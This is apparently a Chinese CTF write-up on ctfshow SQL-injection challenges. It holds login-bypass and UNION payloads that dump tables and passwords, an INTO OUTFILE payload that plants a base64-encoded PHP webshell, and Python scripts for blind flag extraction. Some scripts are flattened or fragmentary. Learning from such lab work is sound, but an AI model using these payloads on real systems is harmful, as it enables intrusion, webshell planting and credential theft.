SELECT * FROM users WHERE username = ‘$input’ AND password = ‘$password’;
然后你注入万能密码就成为了:
SELECT * FROM users WHERE username = ‘’ or 1=1–+ AND password = ‘$password’;(–+表示注释,即注释之后的都不执行)
这样原本的查询条件就被破坏,or 1=1 使得整个 WHERE 条件恒为真,并且 -- 注释掉了后面的 AND password = '$password' 部分,最终可能导致攻击者绕过认证机制,获取到数据库中 users 表的所有记录等恶意操作。当然mysql数据库也不一定是’’进行闭合的,具体问题具体分析。
172:
这个也是没有过滤,先试试万能密码:’ or 1=1–+成功回显说明是’进行闭合,接下来就可以试试sql的语句了(有俩列数据):
‘ union select 1,2–+
‘ union select 1,database()–+
‘ union select 1,group_concat(table_name)from information_schema.tables where table_schema=’ctfshow_web’–+
‘ union select 1,group_concat(column_name)from information_schema.columns where table_name=’ctfshow_user2’–+
‘ union select 1,group_concat(password)from ctfshow_user2–+
173:
一样,’ union select 1,2,group_concat(password)from ctfshow_user3–+
174:
/flag|[0-9]/i
这个额可以使用replace
‘ union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(username),”1”,”@A”),”2”,”@B”),”3”,”@C”),”4”,”@D”),”5”,”@E”),”6”,”@F”),”7”,”@G”),”8”,”@H”),”9”,”@I”),”0”,”@J”),replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),”1”,”@A”),”2”,”@B”),”3”,”@C”),”4”,”@D”),”5”,”@E”),”6”,”@F”),”7”,”@G”),”8”,”@H”),”9”,”@I”),”0”,”@J”) from ctfshow_user4 where username=”flag” – +
union select 1,group_concat(password) from ctfshow_user5 where username=”flag” into outfile “/var/www/html/1.txt”
但是我不知道为什么复现不了;
或者:传入一句话木马(进行url编码之后再进行base64编码)
1’ union select 1,from_base64(“%50%44%39%77%61%48%41%67%5a%58%5a%68%62%43%67%6b%58%31%42%50%55%31%52%62%4d%56%30%70%4f%7a%38%2b”) into outfile ‘/var/www/html/1.php然后url/1.php蚁剑连接就行
import requests import string url = 'http://6244362c-ee43-4012-81d5-275793a9617c.challenge.ctf.show/select-waf.php' dic = string.digits+string.ascii_lowercase+'-{}' # flag可能的字符 dic = [f"{ord(c):02x}" for c in dic] # print(dic) out = '0x63746673686f777b' # 已经确定的部分 for j in range(0, 50): # 为了确保flag完整输出,范围尽量大一点,观察到flag完全输出后结束运行即可 for k in dic: payload = {'tableName': f"ctfshow_user group by pass having pass like {out+k}25"} # 将每次更新后的out加上我们新增的一个猜测字符添加到payload # print(payload) re = requests.post(url, data=payload) # print(re.text) if '$user_count = 1;' in re.text: print(k) out += k break # 回显1说明我们猜正确了,跳出内层循环,继续猜下一位 print(out)
185:
//对传入的参数进行了过滤 function waf($str){ return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str); }
这个过滤了数字不过,可以使用sql语法:可以使用 true 结合 concat 拼接出数字 例:
mysql> select concat(true,true); +——————-+ | concat(true,true) | +——————-+ | 11 | +——————-+ 1 row in set (0.00 sec)
附上yu师傅的脚本:
#author:yu22x import requests import string url="http://8319afbf-281c-4a73-b14e-a29426d0e556.challenge.ctf.show/select-waf.php" s='0123456789abcdef-{}' def convert(strs): t='concat(' for s in strs: t+= 'char(true'+'+true'*(ord(s)-1)+'),' return t[:-1]+")" flag='' for i in range(1,45): print(i) for j in s: d = convert(f'^ctfshow{flag+j}') data={ 'tableName':f' ctfshow_user group by pass having pass regexp({d})' } #print(data) r=requests.post(url,data=data) #print(r.text) if("user_count = 1" in r.text): flag+=j print(flag) if j=='}': exit(0) break
def convert(strs): t='concat(' for s in strs: t+= 'char(true'+'+true'*(ord(s)-1)+'),' return t[:-1]+")"
这个先将s给转化为ascll码,然后进行true的加和乘,用来回显出来字母
for i in range(1,45): print(i) for j in s: d = convert(f'^ctfshow{flag+j}') data={ 'tableName':f' ctfshow_user group by pass having pass regexp({d})' }
这个先找出来以ctfshow{开头的字段,然后猜flag
if("user_count = 1" in r.text): flag+=j print(flag) if j=='}': exit(0) break
这个用来判断flag。
186:
//对传入的参数进行了过滤 function waf($str){ return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str); }
还是yu师傅的脚本
187:
//拼接sql语句查找指定ID用户 $sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";
for i in range(40): for char in uuid: print(char) data = { 'username' : passwd + f"{char}'),0,1)", 'password' : 0 } res = requests.post(url, data=data) if "\\u5bc6\\u7801\\u9519\\u8bef" in res.text: passwd += char print(passwd) break
url = "http://742f0ab8-2de1-4a7e-b0ff-0b33d00fd19f.challenge.ctf.show/api/index.php" out = '' for j in range(1, 50): print(j) for k in range(32, 128): # 猜解数据库名 # data={ # 'username': f"0'||if(ascii(substr(database(),{j},1))={k},1,0)#", # 'password': '1' # }
# 猜解表名 # data={ # 'username': f"0'||if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{j},1))={k},1,0)#", # 'password': '1' # }
# 猜解列名 # data={ # 'username': f"0'||if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{j},1))={k},1,0)#", # 'password': '1' # }
# 猜解 flag data = { 'username': f"0'||if(ascii(substr((select f1ag from ctfshow_fl0g),{j},1))={k},1,0)#", 'password': '1' }
re = requests.post(url, data=data) if ("\\u5bc6\\u7801\\u9519\\u8bef" in re.text): out += chr(k) print(out) break